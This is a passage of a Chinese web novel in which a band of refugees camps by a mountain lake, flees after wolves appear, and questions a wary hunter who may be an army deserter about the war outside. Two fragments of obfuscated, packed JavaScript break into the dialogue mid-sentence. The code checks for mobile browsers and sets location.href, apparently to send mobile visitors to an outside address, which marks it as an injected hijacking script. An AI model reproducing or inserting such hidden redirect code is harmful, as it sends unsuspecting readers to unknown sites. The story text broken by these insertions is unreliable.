周大看了眼挂在天边的太阳,又仔细打量了四周的山势后,就选定了一个方向。江夏在心底长长叹息一声,认命地迈开沉重的脚步,跟上队伍。 因为群山高耸,这次他们没有选择翻越大山,而是从山脚下绕过去。 绕过第二座大山,出现在眼前的景象让所有人呼吸一滞。 一片巨大而平坦的翠绿草甸铺展开来,绿草茵茵如毯。草甸中央,一个巨大的湖泊如同镶嵌在大地上的蓝宝石,倒映着天边绚烂的晚霞,湖面波光粼粼,静谧而壮丽。 湖的对岸,是大片随风摇曳的芦苇荡,绿色的芦苇起伏如浪,野鸭“嘎嘎”的叫声时远时近,平添几分生机。 “这……这地方……”周二瞪大眼睛,看着眼前的美景。 “是个好地方!”周大也难得地露出了笑容,连日跋涉的倦色仿佛被这湖水洗净,“今晚就在这扎营,好好歇歇脚!” 谁能想到,在莽莽苍苍、险峻难行的群山深处,竟藏着这样一处遗世独立的桃源! 一路走来,看惯了嶙峋怪石和陡峭山壁,陡然撞见这汪碧水和无垠草甸,那惊心动魄的美,几乎让人落下泪来。 如果不是现在时机不对,江夏真想在此地停留一段时间,好好将这景色记录下来。 “噗通!”两声。 李木和陈东早已按捺不住,欢呼着冲进清凉的湖水中,溅起大片水花。 子安紧随其后,也跳了下去。 只剩江诚一个站在岸边,眼巴巴地看着他们在水里扑腾嬉闹,小脸上写满了羡慕与渴望。 “阿诚,下来啊!好凉快!”子安在水里对着江诚大喊,手里还掀起水花溅了他一脸。 江诚回头看看自己阿姐,江夏也察觉他目光中的期待。点点头,“想去就去吧,不过要注意安全。” 得到江夏的同意,江诚脸上立刻绽开笑容,用力点点头,学着子安的样子甩掉鞋袜,小心翼翼地踏入清凉的湖水。 陈青看着堂弟陈东那撒欢的样子,无奈地笑着摇头,将背上的行囊卸下放好,和周大、周二一起动手清理出一片干燥的空地,熟练地生起新的篝火。 江夏也放下自己的箱子,拿出竹片和毛笔,走到湖边。 岸边生长着不知名的野花,粉的娇嫩,黄的明媚,在翠草的衬托下格外鲜艳夺目。 浅水处,一丛丛水草挺立着细长的叶片,宛如水中利剑。对岸的芦苇荡浩浩荡荡,与天际相接。 刘老三提着竹篓走过来,冲着水里玩得不亦乐乎的四人喊道:“喂!别在跟前扑腾了,鱼都给你们吓跑喽!去远点玩,我要下篓子!” 陈东抹了把脸上的水珠,笑嘻嘻地回应:“刘老三,我们帮你把鱼往这边赶!” 说着,他和陈李木在水中一阵卖力地拍打、搅动水花,居然真有一条惊慌失措的大鱼撞进了刘老三刚刚放下的竹篓! 二人在水中一阵翻腾,竟还真让他们捞到一条鱼。也不知是他们运气好,还是因为这里人迹罕至,这些鱼不太怕人。 “哈哈哈……!”几人发出一阵爆笑。 周二闻声也凑过来看热闹,看到那活蹦乱跳的大鱼,眼睛一亮:“嚯!真不小!看来今晚的鱼汤有着落了!” “啊?!又喝汤啊?”李木在水里哀嚎一声。昨天就是喝的汤。 周二瞥了他一眼:“咋地?不想喝汤?不喝汤,我们这么多人,这一条鱼怎么分?”他指了指刚扔到岸边的那条鱼。 刘老三利落地把大鱼用草绳穿了腮提在手里:“听见没?想吃烤鱼,就努力捕鱼吧。”说完,他提着鱼走向篝火堆准备处理。 可惜好运气似乎用光了。 李木和陈东带着两个孩子在浅水区又扑腾了好一阵,除了摸到几块光滑的鹅卵石和偶尔蹭过脚背的小鱼苗,再没捞到第二条像样的鱼。 夕阳的余晖彻底沉入湖底,天边只剩下一抹深紫色的余韵。 “行了行了,别白费力气了!”周二在岸上招呼,“赶紧上来吧,水凉了!我们再去找找看有没有别的吃食。” 李木和陈东意犹未尽,但也知道天色不早,拖着恋恋不舍的两个孩子上了岸。 江诚和子安光着脚丫踩在柔软的草地上,冷得打了个哆嗦,赶紧跑到篝火边烤火,小脸红扑扑的,头发还在往下滴水。 这边,刘老三已经利落地将鱼处理干净,剁成大块扔进吊在火上的陶罐里。 周大往火里添了几根粗壮的枯枝,火焰更旺了些。看到他们四人湿哒哒的样子,皱眉说道:“快擦擦,换个衣服,别着凉了!” 周二走过来,对着李木和陈东说:“我看湖对面有野鸭,走,我们去看看。” 李木二人顿时爬起来,“走!” 子安和江诚也想跟着,被周大拦住,“你们就呆在这里。身上还没烤热,再跟着他们跑,小心着凉。” 二人只能待在原地看着周二三人沿着湖边往对岸走去。 一群野鸭从对面芦苇荡中飞起,惊得众人抬头望去。就见李木拎着一只野鸭,朝着他们这边挥舞着手,“这里有好多野鸭蛋!快拿篮子来!” 听到这话,俩小的是一点也坐不住了,穿上鞋就跑了过去。 周大这会儿也心思去没管他们,刘老三对林氏说,让她看着点火,就和周大也一起往那边走去。 那野鸭蛋一窝一窝的藏在芦苇荡中,一窝少的有三四个,多的有七八个,俩小孩就像寻宝一样在里面跑来跑去,发现一窝就大喊一声,告知别人,紧接着又去找下一窝了。 周大他们几个就跟在后面捡,不一会儿就了满满一篮子的鸭蛋。 周大他们经常打猎,知道竭泽而渔不可取,每个窝都会留那么一两个蛋,在捡了两篮子鸭蛋后就把子安和江诚叫了回来,“该回去了。” 俩小孩还有些意犹未尽,回去的路上频频往后看,“爹,我们能在这里多待几天吗?” 这话一出,别说江诚了,就是李木他们都满是期待地看着周大。这里有水有食物,除了野鸭暂时还没看见其他动物,比起他们之前建的营地,似乎更加安全。 李木:“是啊,大哥。正好大嫂的脚也没好,要不……我们就先在这里待一段时间吧。” 周大:“回去再商议吧。” 夜幕降临,众人围着篝火席地而坐,喝着滚烫鲜美的鱼汤。这鱼汤里刘老三还放了菌菇,鲜美无比,众人纷纷赞叹出声。 刘老三笑着摸了摸自己鼻子,“这还多亏了小夏,给了我一个柠檬,去除了鱼的腥味,不然也不会这么鲜的。” 陈东:“啥是柠檬啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668602|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “喏,就这个,”刘老三从放着之前采摘蘑菇的竹篓里拿一个柠檬递到他跟前,“小夏说它能做菜,我就试了试,效果还不错。” 陈东拿着柠檬看了半天,确定自己没有见过,转头看向江夏,“小夏,这你在哪里发现的?你怎么知道这能做菜啊?” 江夏还没开口,周二先替她回答了,“是在之前采菌子的地方发现的吧?这是不是就是你带着的那棵小树结的果子?” 看到江夏点点头,周二又对陈东说:“下次看到大一点的竹子砍一棵,给小夏装那棵小树。” 陈东懵懵的,不知道怎么说到砍竹子上了,但还是点点头,“知道了。不过小夏你还没说怎么知道这果子能做菜呢?” 江夏含糊说道:“我之前有见过人食用过这果子,所以认得。” 众人以为她说的是她在寺庙那段时间见过,江诚却开口补充道:“阿姐是看过仙境中的人吃过的。真不知道他们怎么会喜欢吃这果子,可酸了……” 现在众人对江夏可能是仙子转世这事已经是深信不疑,江诚原本就很是信任,出言补充也是习惯使然。 之前江夏因为这件事一直被人取笑,江诚没少帮她解释,这也是导致江父江母决定将原主送走的重要原因。 众人听到江诚的话,再看他皱起来的小脸,很明显他已经尝过了,“不好吃吗?”子安问。 “不好吃,特别酸,比醋还酸。” “哈哈哈哈!”又是一阵大笑。 “鸭子烤好了,快吃吧!都香死我了。”刘老三对着他们说道。 一窝蜂的围上去,一只野鸭一人也就分到一点,但大家依旧吃得很满足。 饭后,周大将之前李木说在此地停留一事说出来,“大家是怎么个看法?” 这里十个人,其他人都已经知道这事了,问的其实也就只有林氏和江夏二人。 林氏脚还没好,不能下地走路,现在都是周大背着她赶路。她也心疼自个儿男人,听到这话,她也立即点头,表示愿意停下来的。 众人将目光转向江夏。 迎着众人期待的目光,江夏皱起眉头,“我觉得此地可能并不是很安全。” 不等别人提问,她就自顾往下说,“这里水草丰美,有鱼有野禽,不可能会没有其他捕食动物,不然这里不会这么美丽。” 自然生态中讲究平衡,一个物种的生长环境中如果缺乏天敌,就会大量繁殖,从而破坏平衡。 “另外,水源是野外动物生存的重要资源,这里有这么大一片湖,不可能没有动物过来饮水,我们没看见,说明一是动物可能迁往其他地方,但现在气候适宜,动物没有迁徙的必要。二就是它们的饮水时间还没到……” 江夏说完,气氛一时沉默下来。 的确,这地方太美太平静了,让他们忘记这是在大山深处,忘记大山里危机四伏。 “当然这只是我的推测,不一定准确,还是要先待一晚才能清楚。”江夏忙解释道。 “小夏说的不无可能,”周大开口,“这里获取食物是很方便,但也不能太放松警惕,今晚由我和老二负责守夜,大家也要警醒些,遇到不对赶紧跑。” 事情就这样说定了。将锅碗洗刷干净后,他们纷纷跳到湖里痛痛快快洗了个澡。 江夏没去,林氏也没让俩小孩也没让下水,四人打水简单洗漱完就躺下歇着了。 可能是最近赶路太累,江夏一夜无梦,后来感觉有人在轻轻拍自己肩膀,迷糊睁开眼发现天色还未亮。半梦半醒坐起身,就看到周二对自己比了个“嘘”的手势。 稍稍有些清醒,就看到除了子安和江诚,其他人都已经醒了,此刻面色凝重。 江夏明白估计自己昨晚说的那番推理是对的,只是不知道是什么动物来饮水,才会让他们的脸色这么难看。 周大:“是狼。” 这下江夏的脸色也不好看了。 18. 山中有人 狼是群居动物,具备很强的团体协作能力,而且狼这种动物比较“记仇”,一旦发生冲突,之后的路上很容易再次受到它们的追击。 “刚我和老二守夜,看到一群狼过来饮水,”周大的声音严肃低沉,“那领头的狼也看到我们,但不知为什么没有攻击我们。” 江夏迟疑着说,“可能因为这里不是它们的领地……”但这样就说明这片水域还有其他动物会来。 其他人也理解她的未尽之词,周二:“所以趁现在狼群刚走,下一波的野兽还没有来,我们得赶紧走了。”毕竟不知道接下来来的动物是什么?会不会攻击他们? 其他人点点头,沉默地收拾好东西,气氛也全然不复昨天的那般轻松自在。连早饭也没有吃,众人就趁着夜色重新踏上山路。 子安一路上都蔫头耷脑,提不起兴致。明明昨天还兴奋地在湖边捉鱼、捡鸭蛋,今天却又要翻越这没完没了的山岭。 “好了,打起精神来,”周大粗粝的大掌在他脑袋上揉了揉,“前头说不定还有那样的好地方。这大山里头,啥稀奇事没有?” “嗯。”子安闷闷应了一声,但显然周大的安慰没能驱散他心头的低落。周大拍了拍他,没再多说。 经历昨天短暂安宁与惊险夜晚的落差,每个人的心情都有些大起大落,但最终却也只能靠自己去慢慢适应这种起伏。 子安已经十岁了,是个半大小子,周大心想,或许这正是他学着像个男子汉一样面对困苦的时候了。 接下来的日子里,他们再没有遇到那样平和美丽的地方。每天天蒙蒙亮就启程出发,待到日头西沉,便找个安全的地方歇一晚,除了寻找食物,他们不敢在任何一处地方多做停留。 日升月落,云卷云舒,时光就在这日复一日的跋涉中悄然流逝。 山中岁月难辨长短,一晃已过去月余。算起来,他们逃入这莽莽深山已经将近二个月了。 几道微小的人影出现在崎岖山路上,步履蹒跚的移动着,急促、粗重的喘息声打破了山林的寂静。 此时他们一伙人已经几乎看不出原本的样子,说是野人也毫无违和感。衣衫褴褛,蓬头垢面,身上更是散发着浓烈刺鼻的汗馊味。 每天跋山涉水,气温又逐渐攀升,身上的汗水就没有停过,衣服也是湿了干。干了又湿。 像周大他们那些男子,身上出汗多了,遇到水潭就敢下水洗澡。江夏至今不敢,倒不是说是害羞什么的,纯粹是因为害怕,她怕水里有蛇、蚂蝗之类的动物,每次都是打些水简单擦拭一下。 想她上辈子没吃过的苦,这短短二个月全吃了个遍。 江夏用袖子擦去快流到眼睛里的汗水,呼出一口热气,看了眼挂在头顶的太阳。进入六月后,它仿佛离地面更近了,像个巨大的熔炉火球,无情的炙烤着所有生物。 要说这一个月的徒步,她最大的收获是什么,那就是她的体能得到显著增强。原本需要走一整天的路程,现在太阳刚升到头顶他们就走到了。 周大:“先休息下,等日头下去些再出发。” 找了处阴凉地坐下,江夏喝了口水,然后从箱子里拿出一株她在路上采集的陌生植物。接着,她又拿出竹片和炭笔,对着植物仔细描画起来。 这是她新近培养的爱好——将路上遇到的陌生植物记录下来。虽然经常出现画了半天才发现是重复的这件事,但这丝毫不影响她的热情。 画画这手艺,长久不练就生疏。加上她上辈子就是靠这个吃饭,画画早就成了习惯。几天不画还好,时间一长,她总觉得少了些什么。画植物,正好能让她保持手感。 一段时间下来,她画的竹片已经攒了厚厚一摞。 其他人对她这个爱好也见怪不怪了,有时去找吃的时候,还会顺手给她带回一两株新植物。 周大拿出地图看了看,“我们已经走了一个多月了,按照脚程算,现在该到原州地界了。就是具体位置还摸不准。” 林氏揉着自己的脚踝,嘀咕道:“也不知道外面现在啥情况了?北狄人被打跑没有?我们还能不能回家?” 她的脚已经好多了,每天也能自己走一段路,但走时间长了还是会隐隐作痛。 听到林氏的话,其他人都不由得想起曾经在平安城里的日子,虽不算富裕,但至少吃喝不愁。 再想起自己惨死的家人,心中更是沉重悲戚。 “那要不……我们下山看一眼?”李木提议,“要是不安全我们再回来,安全的话我们也不用再呆在山上,更不用再跋涉去岐州了。” 周大略一思索,就同意了这个提议,“行,我们向山的外围走走,先不出山,看能不能遇到一些其他逃进山里的人。” 对于周大的决定,大家都没什么意见。 沿着大山向着外圈走了两天,这天中午气温已经高的吓人,即使是走在森林中,头顶照射下的阳光依旧酷热难当。 当李木说他听到水声时,大家都不由自主的往那里跑去。 水声淙淙,溪流清澈,阳光照在水面上,闪着细碎的光芒。 冲向水边,捧起水就往嘴里送,“呼!舒服!”,周二大呼出口。 江夏也捧起一捧水,不过没有喝,而是洗了自己的脸,冰凉的溪水轻柔的拂过脸颊,带走烈日的留下的灼热。 风吹日晒,没有任何保护滋润的护肤品,她的脸现在一流汗就一阵刺痒,痒得她恨不得将脸挠下来。按照后世美妆博主的话就是屏障受损了。 将自己用来遮脸的帕子也浸湿,仔细清洗后晾在一旁的树杈上。 这是目前她唯一能做的对脸的保护。 “今天就先在这里停下吧”,周大说,“再往里走,不知道还能不能遇到水源了,今晚在这里好好将身上的水囊装满,休整一晚,明天再出发。” 拾柴生火,他们身上的粮食早已经吃完了,现在每天的食物不是野菜就是野果。偶尔可能会打到一些野兔、野鸡啥的,打打牙祭。 也多亏现在是盛夏,蔬果丰富,要是到了冬天,植物凋零,动物也窝着不动,那他们可就真要饿死了。 将陶罐吊在火上烧着,周大他们就在小溪里忙着捉鱼。这溪水很浅,不过刚没过他们的小腿,里面的鱼也很小,捉了两条上来,刘老三将其处理干净后就扔进陶罐中。 听到里面不断冒出“咕嘟”声,就将洗净切好的野菜也一并扔了进去。 江夏蹲在一旁,嗅着鱼汤的香气啃着手里的野桃。“你离远点,小心烫着。”林氏看她靠着这么近,忍不住开口提醒道。 江夏稍稍往后退了几步,目光依旧盯着眼前咕嘟冒着白气的陶罐,白烟袅袅,顺着空气向上飘散。 “咦?”她忽然凝神,望向对面的山峦。 “咋了?”正搅着汤的刘老三随口问道。 “三哥,你看那边山腰,是不是有烟?”江夏伸手指着前面的山腰,那里树木高大茂密,看不真切,但树梢上方,分明有一缕细细的青烟在飘。 刘老三眯眼细看,“嘿!还真是!小夏你好眼神啊!”他夸赞着,丢下手中的筷子,朝着溪水里忙活的众人大喊,“大哥,山上好像有人!” “哪儿?”周大立刻从水里上来,其他人也停住手中的动作,看向刘老三。 “那儿!”刘老三指着刚才江夏所指的方向,“树梢上头有烟!” 众人顺着他手指的方向看去,的确有一缕极细的烟从树林上方升起,飘向天空。 “太好了,大哥。可算见着人影了。”李木兴奋地说,“走,咱们赶紧过去问一问 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窝棚里静悄悄的,不见人影。 周大他们没有立即进窝棚探查,而是找了处隐蔽的角落蹲着,紧紧盯着前面。 有窝棚说明这里有人驻扎,但这窝棚比起他们之前搭的就要小的太多了,估计也就只能容纳三四个大人,所以想必人应该不多。 此时周大已经认定这窝棚是山中猎户所搭的临时休息的,就是不知刚才生火的是窝棚主人还是躲入山中的百姓,亦或是途经此处的流寇。 也没让他们等很久,就见一身穿灰布短打的男人出现在窝棚附近。 他身高不高,但肌肉紧实,背后背着弓箭,手里还拎着两只兔子,一副猎户打扮。 男人走到窝棚前,没有直接进去,而是伸手在竹竿壁上“笃笃”敲两声,就见一个同样穿着灰扑扑、打着补丁布裙的年轻妇人探出身来。 周大和周二相视一眼,都从对方的眼神中看出疑惑。 妇人看见男人手中的兔子很是欣喜,伸手接过,男人空下来的手自然的搂住妇人,二人低声说着什么,朝窝棚走去。 就在这时,一只蜘蛛从树上挂了下来,正好落在周二眼前,他倒是不怕,顺手就将那蜘蛛掸开,可手却意外碰到一旁的树叶,发出轻微的簌簌声。 男人搂着妇人的手猛地一紧,瞬间转身,目光如鹰隼般锐利,精准的锁定周大周二二人的藏身之处。 没有丝毫犹豫,男人将妇人推进窝棚,同时取下自己背在身后的弓箭,搭箭,拉弓,箭簇直指他们藏身的草丛。 “谁?!谁在那里?滚出来!不然休怪老子箭下无情!”男人声音冷酷。 周大知道他是真的发现他们了,不是在诈他们,深吸一口气,示意周二先不动,他率先走了出去。 “兄弟!莫放箭!我不是坏人,也是为避祸躲进山中的普通百姓。” 男子的眼神没有丝毫松懈,弓弦依旧紧绷着,箭头稳稳地瞄准周大,厉声喝问:“不是坏人,为何偷摸藏在林中不敢示人?说!你是不是还有同伴?出来!” 看到男人警惕性如此之高,周大心底叹了口气,知道如果不表明身份怕是没法取得眼前这人的信任。垂眸对着周二微微点头,周二了解,同样站出来。 看到的确还有人,男人的眼神更为凌厉,“还有没有人?!” “没了没了,就我们兄弟俩。”周二语气急切,“我们是从延州城逃出来的,一路南下,才会来到这里,看到这里有房子,就想来问问这里是哪里?如今外面的情况如何?” 男人也不知是信了还是没信,只上下打量着他们,手中依旧拉满弓。 19. 探听消息 “真的,你相信我们,我们真没恶意!你看,你就一个人,我们这边两个人。若真想对你不利,何必在这儿费这番口舌?”周二解释,言辞恳切,“不瞒你说,我们兄弟俩也有些拳脚功夫傍身,不然也不能从延州走到这里。你有十足把握能一举放倒我们两个吗 说到这里,周二顿了顿,目光越过男人肩膀,落在他身后的窝棚上,“刚才那是嫂夫人吧?你要护着她周全……这种情况下,你还有把握同时对付我们兄弟俩吗?” 听到周二提及自己妻子,男人脸色骤然一沉,眼中厉色更盛,猛地将箭簇对准了周二! 周二忙抬起双手,“哎!兄弟!别误会!我不是拿嫂夫人威胁你!我的意思是,正因为我们顾及你护着家人,才更要说明白——我们真没歹意!就只是想打听点消息!” 见男人依旧不为所动,箭尖纹丝不动,一旁的周大皱紧了眉头。 看来今天这场冲突怕是躲不过了,不强行制住这男子,他绝不会开口。周大不动声色地将手背到身后,对着周二的方向打了个手势。 多年生死与共的默契让周二瞬间领会。他看向男人的眼神里,温和褪去,目光渐冷,身体微微绷紧,准备配合周大行动。 就在这剑拔弩张的瞬间,一只手轻轻搭在了男人紧绷的手臂上。是那年轻妇人,不知何时已从窝棚里走了出来。 “大山,将箭放下吧,我相信他们真的不是坏人。”妇人说着,站到男人前面,看着周大周二,语气温和,“你们想问什么?不过,我们也只是普通村民,很多事情并不清楚。” 男人紧抿着唇,死死盯着周家兄弟片刻,最终还是听从了妻子的话。垂下手中的弓箭,将箭重新插回箭袋,一声不吭地转身,坐在旁边一块大石头上。 看到男人卸下武器,周大周二紧绷的肌肉也放松下来。两人对视一眼,走上前,在距离对方约莫两米开外的另一块石头上坐下。 周二率先开口,介绍自己的身份,语气又恢复到之前的平和:“我们兄弟姓周,我家中排行老二,这是我大哥。不知兄弟如何称呼啊?” 男人依旧板着脸,硬邦邦吐出三个字:“我姓高。” 妇人无奈地轻轻拍了下丈夫的手臂,转头对周家兄弟露出歉意的笑容:“他这人啊,就是个倔驴脾气,话也少,但心眼不坏的,你们别见怪。” 又回头对男人道:“好好说话!在这大山里遇到也是一种缘分,这世道艰难,能帮就帮一把。” 周二连忙接口:“嫂夫人言重了。是我们兄弟刚才行事鲁莽,惊扰了二位,高兄弟有戒心是人之常情。” 妇人见周二态度诚恳,脸上的笑意也真诚了几分:“行,你们坐着稍等,我去给你们弄点水喝。”说着,她转身走向窝棚。 周二这才发现这窝棚里面竟是一处山洞,只是用竹子做了一面可活动的墙,将山洞挡住。不了解的人一走近,只以为这是用竹子搭了一个三面包围的窝棚。 怪不得刚才在男人回来前,他们没有看见人。想来男人敲击竹竿,也是为了告知女人自己回来了。 男人见周二的视线一直跟着自己妻子,眉头立刻紧锁,声音更冷了:“你们想问什么?问完赶紧走!” 周二忙收回视线,正色道:“不知高兄弟是哪里人士啊?看你这身行头,是原本就在这山中讨生活的猎户,还是……跟我们一样,是避祸进来的?” “原州,石羊村。”男人言简意赅,“躲进来的。” 周二理解地点点头,知道对方不会多谈自身,便直奔主题。 “那高兄弟可知此地是何地界?距离岐州还有多远?还有……这外面的世道,如今究竟是个什么光景了?” 妇人此时端着三个盛满清水的竹筒走出来,分别递给三人,自己则安静地站在男人身边听着 “这里是原州建阳县。”男人的声音依旧冷峻,但却回答了他们的问题,“再往前翻过十多座山就是商州,商州过去就是岐州了。你们要是走大路,估计一个月的时间就能到,但你们要是选择从山中走过去,”他伸手指了指周围的密林,“没两个月,走不到的。” “至于外面?”他冷哼一声,嘴角勾起一丝嘲弄与厌恶的冷笑,“比你们延州好不哪里去!今天这个藩王竖起反旗,明天那个节度使拥兵自立,皇帝在龙椅上就是个摆设!到处都是兵祸,抢地盘,拉壮丁。老百姓就是那砧板上的肉!” 男人灌了一口水,仿佛要压下心头的火气,“听说遂州那边,又出了一个什么‘昌平王’!哼,名头倒响亮!不过是个流民出身的,还说什么要‘以武振国运,开昌平之世’!” 周大周二听得目瞪口呆,脸色煞白。他们避入深山不过两月,外面的世界竟已崩坏至此! 男人没理会他们的震惊,接着说道:“朝廷现在满世界地抓壮丁填窟窿呢,上至六十岁的老汉,下至十四岁的半大小子,只要是个男的,被征兵的撞见,一根绳子捆了就走!统统拉去充军。” 男人目光扫过周大周二,“像你们这样的,下山就是活靶子!等着被套上号衣,送到不知哪里的战场当炮灰吧!那些征兵的官员可不管你们是延州来的,还是建阳本地的。” 这番话说得周大周二脊背发凉,手心冒汗。他们一路逃亡,就是为了避开战祸,没想到外面已是无处可逃的绝境! 男人说完,拿起竹筒一饮而尽,重重放下,也不管他们心里作何想法,毫不客气地下了逐客令:“你们想知道的事,我都说了。现在,可以走了吧?” “还有一事,”周大问,“高兄弟可知如今岐州是何情况?” “岐州我不清楚,你们找别人问吧。不过现在征兵严重,我估计也没好到哪里去。” “这山中还有其他人?”周大立刻问道。 “自然是有的,这山里少说也有十几户人家。你们都没遇见过吗?”妇人开口说道。 见他们摇摇头,笑道:“那我们还真是有缘了。你们要想找人再打听消息,可以往西边林子那里走走,说不定能碰到人,我之前采野菜时,就在那里看到过。” “多谢”周大冲男子与妇人拱手道了声谢,便拉着周二返回了。 从男子他们窝棚的半山腰上下来,没走多远,李木几人便围了上来,“大哥,怎么样?刚才远远瞧见你们被弓箭指着,我们心都提到嗓子眼了!想冲上去,又没见你给信号,到底怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676088|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事?。” “没事,走!先回去再说。”众人见周大周二脸色难看,便不再多问,脚步飞快地回到了小溪边的营地。 另一边的半山腰上,男人也正皱眉和妇人说着话:“为什么要和那两个人接触?” “躲着所有人更奇怪。我们现在就是普通村民,没人会发现你的身份。”妇人坐在他旁边,头轻轻靠着他肩膀,声音很轻,但又很坚定,“再说了,就算他们发现了,现在外面世道这么乱,刚又告诉他们外面抓丁那么狠,他们也不会傻到去报官。” 妇人说得很对,周大他们的确对男人身份有所怀疑,但此刻他却没有深究的念头,毕竟别人的秘密没有自己的命重要。 回到停留的小溪边,将刚才探听到的消息告诉众人。话音落下,空气仿佛凝固了,只听得见溪水潺潺,一股沉重的死寂笼罩着所有人。 “也别太惊慌,”周大的语气一如既往地沉稳。最初的震惊过后,他已恢复了镇定,“慌也没用。至少,我们现在还在大山里,暂时安全。既然知道了外面不安全,以后我们多加警惕就是——不下山,不再往外围靠近。” “那……我们还去岐州吗?”刘老三弱弱地问了一句,“照那人说的,外头哪儿都不太平……去了岐州,不也是往火坑里跳?倒不如……倒不如就待在这附近?好歹……好歹刚才那窝棚里的人,看着像是能搭把手的……” “也不一定。那人并不想和我们有过多的接触。而且…那人应该不是普通猎户。”周大回忆着与那人接触时,那股强烈的违和感,“按照他们的说法,他们是避祸躲进山中的,可他怎么会对战场局势如此清楚,甚至连在遂州称王的那位是哪路人马、什么出身都一清二楚?这消息,寻常猎户从哪儿听来?”至少他们是做不到的。他们出门走镖是比普通百姓多些见识,但也做不到像他那般事无巨细。 “的确。那人的警觉性,高得离谱!”周二补充道,“我不过轻轻碰了一下树叶,他立刻就跟老鹰盯上兔子似的,箭尖唰一下就指过来了!这山里,风一吹树叶哗啦啦响,鸟兽跑动更是寻常,他怎么就能断定那一下是人为的?” 李木猜测:“兴许……他天生耳朵就特别灵?或者在这山里住久了练出来的?” “不只是耳朵灵,”周大缓缓摇头,眉头拧成了深深的川字纹,眼神凝重,“他身上的那股劲儿比一般猎户更为的…”他若有所思,在想如何去更好的描述,“…肃杀?” 江夏轻声吐出两个字:“士兵。” “什么?!”众人皆惊。 “可士兵怎么会在这里…”周二话没说完,自己就顿住了。 是啊,士兵本该在战场上。出现在这深山老林,只有一个原因—— “逃兵!” 所有人都明白了。 周二:“怪不得他会知道的如此详细,又对征兵如此深恶痛绝。我看啊,他八成也是被强征去当兵的。后又不知怎的逃了,躲进这深山中。” “蝼蚁尚且偷生,更何况是人。现在被征兵纯粹是去送死。”周大说,“如果我们的推测没有错的话,那外面的情况我们也基本了解了,现在大家是个什么打算呢?”周大看向众人。 20. 猜测计划 此话一出,众人面面相觑,一时竟也想不出个好办法。 江夏是打定主意要跟着周大周二他们,于是问,“不知周大叔你们是怎么打算的?” 周大低头沉思,半晌回道:“现在待在山里是比下山更安全,但如果选择待在山上,现在我们面临几个问题,一是食物问题,现在靠着采摘野菜野果和偶尔捕到的猎物,还能维持基本的饱腹,可要是一直到秋冬,战争都未停止,到那时我们该从哪里找食物? 二是我们所带的盐和伤药都不多了……” 人可以不吃米饭,但却不能不吃盐。不吃盐人就没有力气,没有力气,他们待在山里也只有死路一条。 林氏坐在一旁听到这话,忍不住痛哭出声:“老天爷这是想要逼死我们啊!一条活路也不给我们留啊!只是想活着,怎么就这么难啊?!” 林氏的悲痛感染了其他人,不由自主地眼眶都有些泛红。 除了常见的煮盐和晒盐,江夏其实还知道另外一种适合当下的制盐方法——井盐。 也是当时去她室友老家旅游时,在村里看到一口保存良好的古盐井,好奇询问下,村里老人就向她们讲解了凿井取盐。四川井盐历史悠长,可追溯到秦汉时期,在唐宋年间更是盛极一时,曾是西南地区的重要经济支柱。 后来随着盐矿枯竭和现代制盐业的兴起,古法井盐逐渐衰落。直到新中国的成立,这项技艺才重新得到重视。2006年,“井盐深钻汲制技术”被列为了国家非物质文化遗产。 记得当时那位白发苍苍,佝偻着背的老爷爷说起往事时,满是沧桑的脸上浮现出复杂的表情。他用浓重的乡音感慨道:“那阵子造孽得很哦!现在的新社会,硬是好多了……” 但江夏清楚,凿井取盐最关键的是确定盐矿的位置,这远非她能力所及。与其给大家不切实际的希望,不如保持沉默。 “那我们还剩多少的盐?可以支撑多久?”陈青问。 “最多二十天,这是在我们一天只吃一顿的基础上,要是一天两顿,估计半个月都是不行的。”刘老三回道,他现在负责大伙的伙食,对于盐的使用情况最为清楚。 “那……我们可以和别人换些盐吗?和刚才那个男人?或是这山里其他人?”李木提议道。 “不会有人愿意换的。”周二说,“战争一天不结束,这盐就是稀缺物,除非那人遇到非常紧急的事,不然谁会把这么重要的东西换给别人。” “而且,我们现在也拿不出可以和别人交换的东西,”周大在一旁冷冷的补充道。 听了周大的话,众人又是一阵叹气。 “那现在我们该怎么办?山下不去,岐州又去不了,我们现在就只能呆在这里等死吗?”李木狠狠抓了一把自己的头发。 “要不……我和小夏下山一趟,看能不能从山下村民处买些盐回来……”林氏犹豫着开口,“我和小夏是女子,征兵的总不能把我们俩也抓去吧?” “不行!”周大毫不犹豫就拒绝林氏的想法,“你们两个下山太危险了万一遇到麻烦,我们在山上根本来不及救援。” “这也不行,那也不行,那你倒是说说,我们现在该怎么办?!”林氏也有些急了,语气中略带了些不满。 “不要吵架啊,”周二赶忙上前拦在二人中间,打着圆场,对着周大说道:“大哥,大嫂也是为大家着想,想找条出路。” “我当然知道她是好心,可这样太冒险了!” “周大叔,我倒觉得可以试试。”江夏接过话头,“白天下山确实危险,但我们可以趁夜里偷偷下山。对于我们而言夜晚走山路并不算什么,而那些征兵的官员总不会大半夜还在山下守着吧?” “对啊,小夏说得很有道理!那些官员最爱偷奸耍滑,可不会大晚上呆在山下喂蚊子。”周二连连点头,“我们夜里行动,也不走远,就在山脚附近看看有没有人家,若能找到,再试着买些盐回来。” 周大沉思片刻,仍有些犹豫,“可只你们二人下山,我还是觉得不太安全。” 周二提议:“那要不这样,我们几个一起先往外围探探路,确定安全后,再让大嫂和小夏下山?” 